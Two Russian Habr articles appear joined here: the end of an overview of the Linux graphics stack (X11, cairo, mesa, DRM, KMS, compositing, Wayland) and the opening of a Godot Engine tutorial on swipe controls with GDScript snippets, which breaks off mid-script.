4. Ядро Linux (поскольку имеет право на это) может выделять области памяти для видеокарты как непосредственно на видеокарте, так и в системной памяти;
5. После всего этого mesa на своём уровне использует DRI2 для связи с Xorg, чтобы убедиться, что произошло переключение буфера, а позиции окон и т.д. — синхронизированы.
### Двухмерная отрисовка с помощью cairo
1. Программа стартует, используя для отрисовки cairo;
2. Вы рисуете несколько градиентных окружностей. Cairo производит разбиение окружностей на четырёхугольники и шлёт эти четырёхугольники и градиенты X-серверу используя расширение XRender. В том случае, когда X-сервер не поддерживает XRender, cairo отрисовывает их само с использованием libpixmap и использует другой метод для отправки отрисованной пиксельной карты X-серверу;
3. X-сервер принимает запрос от XRender. Xorg может в этом случае использовать разные специализированные драйвера:
1) В случае отката к программной отрисовке или в случае неготовности драйвера Xorg использует libpixman для отрисовки своими силами, прямо как cairo;
2) В случае аппаратного ускорения драйвер Xorg связывается посредством libdrm с ядром и посылает видеокарте текстуры и команды.
Ну, и для того, чтобы получить нарисованное на экране, Xorg сам с помощью KMS и драйверов видеокарты подготавливает кадровый буфер.
X Window System, X11, Xlib, Xorg
--------------------------------
X11 напрямую не относится к графической системе — в него включена система доставки сообщений, описание свойств окон и многое другое. Кроме того, поверх X11 реализована куча вещей, вообще не имеющих отношение к графике (например, буфер обмена и поддержка “drag-and-drop”). Я пишу о X11 тут только для общего понимания его места внутри X Window System. Надеюсь, когда-нибудь получится написать отдельный пост об X Window System, X11 и их странной архитектуре.
* **X11**
Коммуникационный протокол X Window System;
* **Xlib**
Библиотечная реализация клиентской части X Window System и основа для прикладной логики управления окнами. Используется тулкитами типа GTK+ или Qt. В нынешних приложениях напрямую практически не используется;
* **XCB**
The X protocol C-language Binding («привязки протокола X11 для языка C»). Иногда упоминается как альтернатива Xlib. Содержит реализацию большой части протокола X11. Программный интерфейс XCB гораздо более низкоуровневый, чем у той же Xlib, причём современный Xlib полностью построен поверх XCB. Будем считать, что просто вспомнили и расшифровали ещё одно сокращение;
* **Xorg**
Библиотечная реализация серверной части X Window System.
> Я стараюсь быть максимально аккуратным в именованиях. Если я пишу «X-сервер», то я говорю про абстрактный сервер X — это может быть Xorg, может быть реализация сервера X от Apple, а может быть и Kdrive. Без разницы. Если же я пишу “X11” или “X Window System”, то это значит, что я имею в виду архитектуру протокола и системы в целом. Ну а если я пишу “Xorg” — то это про детали реализации Xorg, самого распространённого X-сервера и ни в коей мере не про детали реализации каких-либо других X-серверов. Если вы встретите просто “X” — это опечатка или косяк.
**X11** (сам протокол) разрабатывался с целью быть расширяемым (т.е. с возможностью добавления новых фич без создания принципиально нового протокола и без потери обратной совместимости со старыми клиентами). Для примера, xeyes и oclock выглядят, скажем так, «нестандартно», из-за [Shape Extension](http://www.x.org/releases/X11R7.7/doc/libXext/shapelib.txt), которое позволяет использовать окна непрямоугольной формы. Если вам не очень понятно, с помощью какой магии эта функциональность появляется из ниоткуда, то вот ответ: магия тут ни при чём. Поддержка расширения должна быть добавлена на обеих сторонах — и у клиента, и у сервера. В базовой спецификации протокола есть специальный функционал для получения клиентами информации от сервера о доступных расширениях. С помощью этого функционала клиенты могут решать, что использовать, а что — нет.
В архитектуру X11 была заложена возможность быть прозрачным для сетевой среды. Проще говоря, мы не можем полагаться на то, что клиентская и серверная части (X-сервер и X-клиент) находятся на одной машине, поэтому общение между ними должно быть реализовано посредством сети. На самом деле, современные среды рабочего стола в обычной конфигурации так не работают, потому что, кроме X11 в интерпроцессном взаимодействии участвуют, например, всякие DBus. Работа же по сетевому соединению достаточно интенсивна и порождает большое количество трафика. Когда клиентская и серверная часть X Window System находятся на одной машине, вместо общения посредством сетевого соединения они общаются через UNIX-сокет и это здорово снижает нагрузку на ядро.
К X Window System и ряду его расширений мы вернёмся чуть-чуть позже.
Cairo
-----
Сairo — это библиотека для отрисовки векторной графики, использующаяся как обычными приложениями напрямую (например, Firefox), так и различными тулкитами типа GTK+. Например, модель отрисовки GTK+3 полностью основана на cairo. Если вы работали с HTML-элементов , то вы имеете достаточно полное представление и о cairo, поскольку, на самом деле, их API схоже. Несмотря на то, что изначально был представлен фирмой Apple, векторная графика родилась гораздо раньше (ещё начиная с модели отрисовки PostScript, которая нашла своё отражение в таких стандартах, и технологиях как PDF, Flash, SVG, Direct2D, Quartz 2D, OpenVG и так далее, тысячи их).
Сairo может рисовать на поверхностях X11 через специальный [Xlib-бэкенд](http://cairographics.org/manual/cairo-XLib-Surfaces.html).
В GTK+2 вплоть до версии 2.8 cairo использовался как опциональный компонент. В настоящее время для GTK+3 cairo считается обязательным.
Расширение XRender
------------------
Для поддержки отрисовки примитивов с антиалиасингом в протоколе X11 есть специальное расширение, XRender (базовые операции рисования протокола X11 не используют антиалиасинг). Кроме отрисовки примитивов с антиалиасингом, это расширение позволяет использовать градиенты, матричные трансформации и т.д.
Изначально обоснованием ввода в протокол такого расширения была апелляция к тому, что у драйверов могут быть особые, аппаратно ускоренные способы этой отрисовки, которые и будет использовать XRender.
К сожалению, практика показала, что программная растеризация (в силу достаточно неочевидных причин) ничуть не уступает в скорости аппаратной. Ну да ладно.
XRender работает с выравненными трапециями — четырёхугольниками с, возможно, непараллельными левой и правой сторонами. Карл Уорт и Кейт Пэккард разработали для отрисовки этих примитивов достаточно быстрый программный метод. У выравненных трапеций есть ещё один плюс — трапеции легко представимы в виде двух треугольников. Это упрощает их отрисовку с помощью железа. У cairo есть замечательная утилита show-traps, которая демонстрирует то, как происходит рассечение примитивов, передаваемых ей на отрисовку, на трапеции.
Простой пример из красной окружности. Окружность разбивается на два набора трапеций — один для контура и один для заливки. Поскольку реализация show-traps малоинформативно показывает этот процесс, я поправил исходники утилиты для того, чтобы каждая трапеция красилась своим собственным цветом. Вот пример набора трапеций для отрисовки чёрного контура.
Психоделично.
pixman
------
И X-сервер, и cairo нуждаются в работе с пикселями. Ранее Cairo и Xorg по-разному реализовывали работу с растеризацией, попиксельным доступом к разнообразным буферам (ARGB32, BGR24, RGB565), градиентами, матрицами и всем остальным. Теперь же и cairo и X-сервер делают всё это через относительно низкоуровневую библиотеку pixman. Несмотря на то, что pixman — это разделяемая библиотека, у неё нет ни публичного API, ни определённого API для операций отрисовки. Строго говоря, у неё вообще нет API — это просто хранилище кода для дедупликации его между ранее упомянутыми двумя компонентами.
OpenGL, mesa, gallium
---------------------
А это самая весёлая часть — современное аппаратное ускорение отрисовки. Я полагаю, что все и так знают, что такое OpenGL. Это не библиотека, это даже не конкретный набор исходников для сборки libGL.so. У каждого производителя своя собственная libGL.so, так или иначе совместимая со спецификацией OpenGL.
Например, nVidia предоставляет свою реализацию OpenGL и собственную libGL.so, которая реализуется по-разному для тех же Windows или OS X.
Если вы используете открытые драйверы, то реализация вашей libGL.so, скорее всего, основана на **mesa**. Mesa — это большая куча всего, но основная и самая известная часть этой кучи — открытая реализация OpenGL. Внутри самой mesa за OpenGL API используются различные бэкенды для трансляции API в исполнительные команды. Существует три программных бэкенда:
* **swrast** — древний и ужасный. Помогите его закопать и никогда его не используйте;
* **softpipe** — медленный;
* **lvmpipe** — быстрый.
Кроме программных бэкендов mesa поддерживает аппаратные:
* Компания Intel работает с mesa и разрабатывает под своё железо mesa-совместимые драйверы, которые потом поставляются в составе mesa. *(Использует для этого свою собственную архитектуру драйверов, к которой много вопросов у различных OpenGL-разработчиков. Например, у Blender.)*;
* Открытые драйверы radeon и noveau, которые построены поверх общей архитектуры **gallium**.
На самом деле, gallium — это набор компонентов, поверх которых можно достаточно просто построить драйвер. Смысл в том, что драйвер состоит из:
* набора машин состояний, реализующих какое-то конкретное API (OpenGL, GLSL, Direct3D);
* набора преобразователей API в промежуточное представление (в так называемый [Tungsten Graphics Shader Infrastructure или TGSI](http://people.freedesktop.org/~csimpson/gallium-docs/tgsi.html) *(для интересующихся — дословно «инфраструктура графических шейдеров «Вольфрам»)*;
* бэкендов, транслирующих TGSI в команды конкретного железа.
К сожалению, разработчики Intel не используют gallium. Мои коллеги говорят, что это из-за нежелания разработчиков драйверов Intel иметь какие-либо прослойки между mesa и своим драйвером.
### Немного сокращений
Дальше будут встречаться сокращения, для которых мне бы не хотелось выделять отдельный большой абзац по ходу повествования. Поэтому я просто перечислю их тут. Многие из них имеют лишь историческую ценность, но, тем не менее, я про них напишу. Дабы вы были в курсе.
* **GLES**
OpenGL имеет несколько разных версий для разных платформенных реализаций. GLES — одна из них. Расшифровывается, как “GL Embedded System” или “GL Embedded Subset” *(«встраиваемая система/подмножество GL»)*. Это последняя на нынешний момент попытка OpenGL выйти на рынок встраиваемых решений. iPhone поддерживает GLES версии 2.0;
* **GLX**
Внутри OpenGL не оговариваются всякие заморочки конкретных платформ и реализация доступа к поверхностям для рисования (например, системы организации оконного интерфейса). Но, к сожалению, для различных платформ необходимы биндинги для преобразования результата вызова API OpenGL к реалиям мира типа протокола X11. GLX — прослойка, предназначенная для склейки OpenGL с X11;
* **WGL**
Смотрим на предыдущий пункт, заменяем “X11” на “Windows”. Да, всё то же самое, но для операционной системы фирмы Microsoft;
* **EGL**
EGL и GLES очень часто путают в силу похожести аббревиатур. EGL — очередной антиплатформенный набор API, разрабатываемый Khronos Group (той же самой группой, которая занимается OpenGL). EGL предоставляет инфраструктурный набор для быстрой настройки приложения и инициализации сцены безотносительно платформы, на которой это приложение работает. Как и OpenGL, EGL производителе-ориентирована. По сути, это альтернатива WGL/GLX, но не очередной костыль, построенный поверх них (типа GLUT);
* **fglrx**
Когда-то fglrx'ом назывался проприетарный OpenGL-драйвер компании AMD для Xorg. Сейчас он называется “Catalyst”. Расшифровывается как “FireGL and Radeon for X”. Т.к. драйвер проприетарен, то у него есть своя собственная, закрытая, libGL.so. Я не знаю, основана ли она на mesa и представляет ли для нас интерес. На самом деле, fglrx я тут упоминаю только из-за того, что его часто путают с AIGLX или GLX из-за того, что в во всех этих аббревиатурах есть “GL” и “X”;
* **DIX, DDX**
Графическая подсистема Xorg состоит из двух частей — из DIX, которая расшифровывается, как “Driver Independent X”, и из DDX, которая, соответственно, расшифровывается, как “Driver Dependent X” *(«Драйверонезависимый X» и «Драйверозависимый X», соответственно)*. Когда мы имеем в виду драйвер Xorg, правильнее было бы говорить о драйвере DDX;
Драйверы Xorg, DRM, DRI
-----------------------
Чуть раньше я писал, что Xorg может производить аппаратно-ускоренную отрисовку. Добавлю, что это реализовано не через трансляцию команд рисования X11 в вызовы API OpenGL. Тогда как Xorg работает с железом, если драйверы железа работают в недрах mesa, а Xorg на mesa не завязан?
Ответ прост. Ведь как оно? Mesa отвечает за реализацию OpenGL, Xorg отвечает за реализацию отрисовки команд X11, и они оба должны рисовать на железе с помощью специфичных для конкретного железа команд. В своё время в архитектуры Xorg и mesa был введён разделяемый компонент, который и загружает эти команды в ядро — так называемый “Direct Rendering Manager” *(«менеджер прямой отрисовки»)* или **DRM**.
Libdrm использует набор оригинальных закрытых ioctl'ей ядра для выделения ресурсов графического ускорителя и предоставления ему команд с текстурами. Общий интерфейс из этих ioctl'ей бывает (в общем-то, предсказуемо) двух видов:
* **GEM**компании Intel;
* **TTM** из набора технологий Tungsten Graphics (да, того самого, в который входит gallium).
Между ними нет значимых различий. Они оба делают одно и то же, просто чуть-чуть различаются в реализации. Исторически GEM был представлен компанией Intel, в качестве простой альтернативы TTM. Через некоторое время GEM разросся и «простота» стала такой же, как у TTM. Такие дела.
К чему всё это? К тому, что, например, когда вы запускаете утилиту типа glxgears, она загружает mesa. Mesa загружает libdrm. Libdrm общается с драйвером ядра, используя GEM/TTM. Да, glxgears напрямую работает с ядром для того, чтобы показать вам несколько крутящихся шестерёнок, таким образом напоминая о том, что это бенчмаркинговая утилита.
Если вы выполните в консоли команду (подставив lib32/lib64 в зависимости от архитектуры):
`ls /usr/lib32/libdrm_*`
то увидите, что там лежат аппаратно-зависимые драйверы. Для тех случаев, когда функциональности, заложенной в GEM/TTM недостаточно, драйверы mesa и X-сервера предоставляют ещё более закрытый набор ещё более закрытых ioctl'ей для общения с ядром, которые, собственно, и находится в этих аппаратно-зависимых драйверах. Сам libdrm эти драйверы не загружает.
X-серверу необходимо знать, что же вообще происходит с графической подсистемой для того, чтобы реализовывать синхронизацию. Эта методология синхронизации (например, между запущенным вами glxgears, ядром и X-сервером) называется **DRI** или, более правильно, **DRI2**. DRI расшифровывается, как “Direct Rendering Infrastructure” *(«инфраструктура прямой отрисовки»)*. Вообще, под DRI понимают две вещи:
* проект, который обеспечивает сожительство mesa и Xorg (DRM и вся обвязка вокруг него);
* протокол DRI и соответствующую библиотеку.
Поскольку мы придерживаемся строгой терминологии, а DRI1 выглядит глупо, мы будем говорить о протоколе и библиотеке, называя их DRI2.
KMS
---
Раз уж мы немного отошли от темы и начали говорить об инфраструктурных вещах, я задам вопрос. Предположим, вы работаете на новом X-сервере или вы хотите отобразить графику в виртуальном терминале без использования X-сервера. Как, в таком случае, вы это сделаете?
Вам надо сконфигурировать железо таким образом, чтобы оно могло отображать графику.
Внутри у libdrm и ядра есть специальная подсистема **KMS**, делающая именно это. Аббревиатура KMS расшифровывается, как “Kernel Mode Setting” *(«настройка режима из ядра»).* Опять же, эта подсистема через набор ioctl'ей позволяет установить графический режим, настроить кадровый буфер и сделать всё нужное для того, чтобы показывать графику прямо в TTY. До появления KMS в ядре был (да так никуда пока и не делся) разношёрстный набор ioctl'ей, для замены и стандартизации которого, собственно, и создали разделяемую библиотеку libkms с единым и документированным API.
Правда, внезапно (как это принято в мире Linux) после libkms в ядре появился новый API, буквально называнный «тупыми ioctl'ями». Поэтому в настоящее время рекомендуется пользоваться не libkms, а этим набором ioctl'ей.
Насмотря на то, что эти ioctl'и очень низкоуровневые и простые, они позволяют сделать практически всё. Примером для этого может служить plymouth, который практически во всех современных дистрибутивах Linux отвечает за графическое отображение процесса загрузки без запуска X-сервера.
Модель “Expose”, Redirection (перенаправление), TFP, Compositing (композиция), AIGLX
------------------------------------------------------------------------------------
Нельзя говорить о термине “композиционный менеджер окон“ без понимания того, что такое “композиция” и что делает менеджер окон.
В те далёкие 80-е, когда разрабатывалась для операционных систем UNIX архитектура X Window System, куча компаний типа HP, DEC, Sun и SGI разрабатывали свои продукты, базировавшиеся на X Window System. При этом протокол X11 никак не регламентировал правила управления окнами и делегировал ответственность за их поведение отдельному процессу, который назывался “window manager” *(«менеджер окон»)*.
Например, CDE, популярная оконная среда для своего времени, исповедовала поведение окон, которое было названо «фокус следует за мышью». Суть его в том, что фокус ввода передавался в окно, когда пользователь наводил на него курсор мыши. Это отличается от поведения окон в Windows или Mac OS X, в которых фокус окну передаётся кликом.
По мере того, как оконные среды начали набирать популярность и становиться всё более сложными, начали появляться соответствующие [документы](http://tronche.com/gui/x/icccm/), [регламентирующие](http://standards.freedesktop.org/wm-spec/) общее поведение разных оконных сред. Правда, эти документы точно так же не оговаривали политику реализации передачи фокуса.
Опять же, в те далёкие 80-е у многих систем был банальный недостаток памяти, поэтому они не могли хранить в пиксельном виде всё содержимое окна. И Windows, и X11 решили эту проблемы одинаково: каждое окно X11 не должно иметь пиксельного состояния. По необходимости приложение получало уведомление о необходимости перерисовать часть своего окна (произвести «экспозицию», “expose”).
Представьте такой набор окон. Теперь переместим окно GIMP'а:
Область, закрашенная тёмно-коричневым, экспонирована. Событие ExposeEvent посылается приложению, которому принадлежит окно и приложение перерисовывает область экрана, соответствующую экспонированной. Именно из-за этой модели перерисовки окна подвисших приложений в Windows и Linux имеют белые области, когда вы перетаскиваете поверх них какое-нибудь другое окно. Учитывая тот факт, что в Windows рабочий стол отрисовывается точно такой же программой без особых привилегий, которая точно так же может зависнуть, легко можно понять причины [этого весёлого артефактного поведения](http://mrdoob.com/lab/javascript/effects/ie6/).
Сегодня у компьютеров много памяти. Поэтому мы имеем возможность сделать с помощью X11 окна, не теряющие своё пиксельное представление. Делается это с помощью механизма, называемого “**redirection**” *(«перенаправление»)*. Когда мы перенаправляем окно, X-сервер создаёт пиксельные буферы для рисования каждого окна, а не рисует напрямую во внеэкранный кадровый буфер. Это значит, что содержимое окна напрямую никогда не появляется на экране. **Кое-что** другое отвечает за отрисовку пикселей на внеэкранном кадровом буфере.
[Расширение композиции](http://www.x.org/releases/X11R7.7/doc/compositeproto/compositeproto.txt) позволяет композиционному менеджеру окон (или “**compositor**”'у, «композитору») создать так называемое Composite Overlay Window *(“окно композиционного слоя”)* или **COW**. После этого композитор назначается владельцем окна COW и может проводить его отрисовку.
Когда вы запускаете Compiz или GNOME Shell, эти приложения используют OpenGL для отображения перенаправленных окон на экране. X-сервер даёт им пользоваться содержимым окон с помощью GL-расширения “[Texture from Pixmap](http://www.opengl.org/registry/specs/EXT/texture_from_pixmap.txt)” *(«текстура из пиксельной карты»)* или **TFP**. Это расширение позволяет OpenGL-приложению использоваться пиксельные карты X11 так, как если бы это были нативные текстуры OpenGL.
Композиционные менеджеры окон, в принципе, могут не использовать TFP или OpenGL. Просто TFP и OpenGL — самый лёгкий способ сделать композицию. Ничто не мешает менеджеру окон просто рисовать пиксельные карты окон на COW стандартными средствами. Мне рассказывали, что kwin4 так и поступает, напрямую используя Qt для композиции.
Композиционные менеджеры окон получают пиксельную карту от X-сервера через TFP и отрисовывают её в OpenGL-сцене в нужном месте, создавая иллюзию того, что вы работаете с обычным окном X11. Может показаться глупым называть это «иллюзией», но вы можете убедиться в «иллюзионности» композиции, если используете, например, GNOME Shell. Для этого можно изменить размер и позицию действующих окон, введя в looking glass GJS-код:
`global.get_window_actors().forEach(function(w) { w.scale_x = w.scale_y = 0.5; });`
Иллюзия композиции исчезнет сразу, как только вы поймёте, что вы тыкаете мышью не в то окно, в которое хотели, а в другое. Для того, чтобы вернуть всё назад, введите в looking glass этот же код, поменяв 0.5 на 1.0.
Теперь, когда вы в курсе всех этих деталей, можно рассказать об ещё одном сокращении — об **AIGLX**. AIGLX расшифровывается как “Accelerated Indirect GLX” *(«ускоренный транзитный/непрямой GLX»)*. Поскольку X11 — это сетеориентированный протокол, OpenGL должен уметь работать через сеть. Когда OpenGL используется в таком режиме, режим называется “indirect context” *(«транзитный контекст»)*, в отличие от стандартного режима “direct context”, в котором OpenGL используется на этой же машине. Грусть в том, что сетевой протокол для транзитного контекста ужасающе неполный и нестабильный.
Для того, чтобы понять компромиссность архитектурных решений AIGLX, надо понять проблему, которую пытались ими решить: необходимость сделать композиционные менеджеры типа Compiz'а реально быстрыми. В то время, когда у проприетарного драйвера NVidia есть свой собственный интерфейс управления памятью на уровне ядра, у открытого графического стека его нет. Поэтому прямой перенос пиксельной карты окна в виде текстуры из X-сервера на графическое железо выливался бы в копирование этой пиксельной карты каждый раз, когда окно обновляется. Дико медленно. Поэтому AIGLX заранее был признан временным костылём для быстрой программной реализации OpenGL с целью исключения копирования пиксельных карт при аппаратном ускорении. Ну и, поскольку сцена, которая рисуется Compiz'ом, обычно не очень сложная, работало это вполне приемлемо.
Несмотря на кучу похвалы и статьи Phoronix'а, AIGLX так никогда и не использовался для серьёзных вещей — просто потому, что у нас сейчас есть нормальный DRI-стек, в котором можно реализовать TFP без копирования.
Теперь вам должно быть понятно, что копирование (или, если говорить более точно, подстановка) содержимого пиксельной карты окна так, чтобы оно могло быть передано в отрисовку в виде текстуры OpenGL невозможно без непосредственного копирования данных. Из-за этого у большинства оконных менеджеров в настройках есть фича, которая позволяет отключать перенаправление для окон, развёрнутых на весь экран. Возможно, называть это ***“*unredirection**“ *(«деперенаправление»)* глупо, потому что в результате мы получаем окно таким, каким оно и должно быть по логике X Window System. Да, исторически это так. Но, в современном Linux, такое состояние трудно назвать обычным состоянием окна. Зачем нужно деперенаправление? Да затем, что в развёрнутом состоянии любое окно всё равно целиком закрывает COW, поэтому не надо проводить комплексную композицию и её можно отключить. Эта фича нужна для того, чтобы дать полноэкранным приложениям типа игр и видеопроигрывателей работать без дополнительного копирования данных окна с максимальной производительностью обновления, достигающей позволенных 60 кадров в секунду.
Wayland
-------
Выше мы вычленили достаточно большой кусок инфраструктуры из монолитной архитектуры иксов. Но графическая подсистема — это не всё, что вывалилось со временем из монолита: практически вся обработка устройств ввода переместилась в ядро с помощью evdev, а поддержка горячего подключения устройств вернулась обратно в udev.
Причина того, что X Window System живёт и сейчас в том, что всё это время усилия сообщества направлялись на работы по его замене. Эта замена — Xorg, с большим количеством разнообразных расширений, обеспечивающих необходимую для современного графического окружения функциональность. Можно сказать, что классический X Window System — списанный хлам.
Въезжаем в Wayland. Wayland переиспользует очень большой объём той инфраструктуры, что мы создали на замену X Window System. Единственная противоречивая вещь в архитектуре Wayland — это непрозрачность сетевого и отрисовочного протоколов. С другой стороны, в наше время колоссальная гибкость сетевого протокола становится ненужной, ведь львиная доля функциональность иксов уже раскидана по другим службам — например, DBus. На самом деле, стыдно смотреть на те хаки в архитектуре X Window System, что понаделаны в вещах типа буфера обмена или поддержки Drag and Drop исключительно для совместимости с сетевым прошлым иксов.
Как уже было сказано, Wayland может использовать весь вышеописанный стек для того, чтобы получить кадровый буфер для монитора и запуститься. У Wayland сохраняется определённый протокол обмена, но он основан исключительно на сокетах UNIX и локальных ресурсах. Самое большое отличие Wayland от Xorg в том, что он не запускается с помощью /usr/bin/wayland и не висит в памяти отдельным процессом. Он, в соответствии с духом времени и требованиями к современным средам рабочего стола, связывает всё непосредственно с процессами менеджеров окон. Такой оконный менеджер или, точнее, «композитор» в терминологии Wayland, подтягивает события из ядра с помощью evdev, настраивает кадровый буфер с помощью KMS или DRM и отрисовывает на нём картинку с помощью любого графического стека, включая OpenGL. Несмотря на то, что упоминание такого клеевого слоя сразу вызывает ассоциации с тоннами кода (потому что во взаимодействии участвует куча разбросанных везде систем), на самом деле порядок объёма укладывается в две-три тысячи строк кода. Кажется, что довольно много? Представьте, что только небольшая часть mutter, описывающая механизм фокуса, стэкирования окон и синхронизирующая их с X-сервером — это уже четыре-пять тысяч строк кода.
Хотя у Wayland есть эталонная библиотека реализации протокола и настойчиво рекомендуется её использовать как для клиентов, так и для композиторов, — ничто не мешает кому-нибудь написать всего композитора для Wayland на Python. Или на Ruby. И реализовать протокол на чистом Python, без использования libwayland.
Клиенты Wayland общаются с композитором и запрашивают буфер. Композитор отдаёт буфер, в который они могут рисовать хоть с помощью cairo, хоть с помощью OpenGL, хоть самостоятельно. Композитор потом уже сам решает, что делать с этим буфером — показывать его просто так, дать ему приоритет из-за настойчивости приложения или повращать его гм… на кубике потому, что нам хочется выложить в YouTube новую видюшку с окнами Linux, вращающимися на кубике. Ну, вы поняли.
Кроме этого, композитор ответственен за ввод и за обработку событий. Если вы пробовали запустить кусок GJS-кода для GNOME Shell, вы наверняка были озадачены вопросом — «Почему мышь работает с нетрансформированными окнами»? А потому, что мы воздействовали на отображение окна, а не на само окно внутри X11. X-сервер отслеживает окна самостоятельно и надеется, что композиционный менеджер окон их отображает соответствующим образом. Если это не так, то приходится озадачиваться, как в случае выше.
Поскольку композитор Wayland'а работает с evdev и отдаёт события окнам, то он гораздо лучше знает, где окна находятся, как отображаются и может проводить все необходимые трансформации самостоятельно. Поэтому, работая с таким композитором, мы можем не только вращать окна на кубике, но ещё и **работать с ними прямо на кубике**.
Выводы
------
Я часто слышу высказывания о том, что реализация Xorg монолитна. Доля истины в таких высказываниях, конечно же, присутствует, но со временем истины в таких высказываниях всё меньше и меньше. Это не результат некомпетентности разработчиков Xorg, нет. Просто нам надо жить не только с Xorg, но и со всем багажом, накопленным за долгие годы — а это, например, аппаратно-ускоренный протокол XRender или, если взять что-то более раннее, — команды рисования без антиалиасинга типа XPolyFill. Понятно, что со временем X уйдёт со сцены и будет заменён Wayland'ом. Но я хочу, чтобы было понятно и то, что это делается с пониманием и колоссальной помощью от разработчиков окружений рабочего стола и Xorg. Они не упрямы и они не некомпетентны. Чёрт возьми, поддерживать протокол тридцатилетней давности без поломок и перестраивать его архитектуру, — это отличная работа с их стороны.
Также я хочу выразить признательность всем, кто работал над вещами, о которых эта статья. Огромное спасибо Оуэну Тэйлору, Рэю Строуду и Эдэму Джексону за долготерпение и ответы на все мои тупые вопросы. Отдельное спасибо Дэйву Эйрли и Эдэму Джексону за помощь в технической вычитке этой статьи.
Несмотря на то, что я мельком пробежал по основным вещам графического стека Linux, вы всегда можете копнуть глубже, если вам это интересно. Например, вы можете почитать про геометрические алгоритмы и теории, которые лежат в основе разбиения cairo примитивов на четырёхугольники. Или, может быть, стоит взглянуть на алгоритм быстрой программной растеризации этих четырёхугольников и разобраться в причинах высокой скорости его работы. Попробуйте поковыряться в DRI2. А вдруг вам интересно само железо и то, как оно рисует, и вы разберётесь в даташитах и попробуете сами его запрограммировать? В любом случае, если вы решите углубиться в какую-нибудь из этих областей, — сообщество и проекты, перечисленные выше, будут счастливы принять вас с вашим вкладом.
Я планирую написать больше про всё это. В Linux используется много разнообразных стеков технологий, а у сообщества GNOME до сих пор нет вменяемых обзорных документов, описывающих их на более-менее высоком уровне.
*Спасибо хабрапользователям [Roosso](https://habrahabr.ru/users/roosso/), [trollsid](https://habrahabr.ru/users/trollsid/) и [Xitsa](https://habrahabr.ru/users/xitsa/) за вычитку.* | https://habr.com/ru/post/148954/ | null | ru | null |
# Управление свайпами в игровом проекте на Godot Engine
Всем Приветствие! Сегодня я бы хотел рассказать о том, как реализовать управление свайпами в игровом проекте для Android на движке Godot Engine.
Меня зовут Пётр, и я являюсь одним из активных пользователей игрового движка Godot Engine.
В русскоязычном сегменте огромнейший дефицит материалов по данному инструменту, что меня сильно удивляет, так как он является одним из самых быстро-развивающихся игровых движков.
Конечно, он во многом уступает таким движкам, как Unity, UE, и подобным, да и игру класса «AAA» на нём не сделаешь.
Однако! Он бесплатный (полностью), кросс-платформенный (полностью), а его вес составляет порядка 60 мегабайт, в противовес тому же Unity.
Движок запускается на большинстве устройств, даже если последние из совсем уж бюджетного ряда. Так же «из коробки» он уже русифицирован, имеет на борту все необходимые инструменты, не требует наличия дополнительного ПО, и не съедает в запущенном виде всю оперативную память.
На Хабре я уже видел пару статей по нему, и это очень мало, так как он настолько дружелюбен к разработчику, что пройти мимо него и не попробовать — большое упущение.
Тема данного поста — реализация управления свайпами (жестами) в Android-проекте.
Вообще, опыт моего использования движка довольно обширен, и, если тема получит отклик, я могу оформить целый обучающий курс. Данным же постом я хочу хотя бы немного привлечь ваше внимание к движку.
В качестве языка программирования можно использовать, опять же, из коробки, два варианта: GDScript и C#. Я буду использовать первый.
Интерфейс основного редактора выглядит так:
В нем можно работать одновременно с 3D, 2D, скриптами и вообще всем, что может потребоваться разработчику.
В движке используется подход, при котором ваша игра представляет из себя набор сцен, вложенных друг в друга. И тут может возникнуть некоторая путаница, потому термин «сцена» я использую для узлов, которые представляют из себя именно игровые сцены (ситуации, окна, состояния игры (меню, игра, т.д.)), а для остальных случаев я использую термин «префаб», позаимствованный у Unity.
Поскольку в данном посте я буду рассматривать частный случай, то и разворачивать некоторые темы я не буду. Если что-то неясно — есть комментарии.
Так вот, основной сценой для демонстрации у нас будет game.
Структура её выглядит так:
Корневой узел game хранит в себе вложенные:
— world, — хранит в себе данные уровня
— — level, — набор объектов окружения (блоки, кольца, препятствия)
— — player, — объект игрока
— — InterpolatedCamera, — плавная камера, следящая за игроком
— gui, — интерфейс, задействован не будет
Имена объектам и структура произвольная и это только частный случай.
Возле некоторых объектов вы можете видеть значки, говорящие о том, что этот объект является префабом (вложенной сценой) и у него так же может быть добавлен скрипт.
Так, нажав на значок «скрипт», мы попадаем в редактор сценариев, по сути просто переключается режим работы движка.
В данном режиме работы можно редактировать поведение объектов. Собственно, в данном случае это скрипт объекта world, который при загрузке объекта в игру устанавливает в объект камеры (InterpolatedCamera) устанавливает цель для слежения.
```
extends Spatial
func _ready():
$InterpolatedCamera.target = '../player/camera' # путь такой, потому, что объекты на одном уровне относительно друг друга (камера и игрок). У объекта player узел "camera" это просто pivot. Точка в пространстве. Сама же камера будет плавно стремиться к данной точке.
```
Синтаксически GDScript похож на Python. Пройти краткое обучение GDScript на русском языке можно тут: [GDScript Book](https://www.youtube.com/watch?v=bNbdP2KdB7c&list=PLf0k8CBUad-vQIVwBkgxogtV3VCicXQbs)
С объектом world понятно, он просто устанавливает камере цель для слежения. Следующий объект (уже дочерний для world), — это level. Его структура выглядит так:
По сути, это просто расставленные объекты с физическими свойствами, не имеющие скриптов и поведения. Кроме объектов «cell». Это вращающиеся колечки, исчезающие при соприкосновении с объектом игрока.
Больше всего сейчас интересен объект player, в котором содержится логика управления свайпами для сенсорных экранов.
Выглядит данный префаб так:
Корневой объект имеет скрипт, к которому мы перейдем немного позже.
Сначала рассмотрим вложенные объекты.
* camera, — тот самый указатель для камеры, которая будет плавно к нему стремиться, дабы сгладить движение. Не имеет никакого поведения и просто существует в рамках объекта player.
* CollisionShape, — это физическое тело объекта. Именно он реагирует на столкновения и позволяет «осязать» объект. Для примера я выбрал его в виде куба, хотя поддерживаются самые разные формы, вплоть до произвольных. По сути для физической формы объектов ограничений нет совсем.
* MeshInstance, — это визуальное представление объекта. В данном случае это шар, покрытый текстурой. Сделан в Blender 3D меньше, чем за минуту.
* Tween, специальный аниматор для плавных изменений численных свойств объектов. Он отвечает за анимированные сдвиги влево и вправо при свайпах.
Ну и теперь рассмотрим уже сам скрипт в корневом объекте. Он получается самым объемным во всей «игре».
Ну и его описание и расшифровка.
```
extends KinematicBody # Для поведения используем тип физического управляемого объекта
# Определение констант
const GRAV = 0.5 # Скорость падения (по правде просто интерполяция по оси Y, т.к. писать формулу физики просто дольше и сложнее, а визуально будет так же)
const SPEED = 2 # Скорость движения
const SWIPE_SPEED = 30 # Скорость смещения при свайпах влево и вправо
const JUMP_SPEED = 10 # Скорость прыжка при свайпе вверх
onready var ball = $MeshInstance # Берем визуальный шар в переменную для облегчения обращений
onready var tween = $Tween # То же самое для аниматора чисел
var vel = Vector3() # Определение переменной с движущими силами
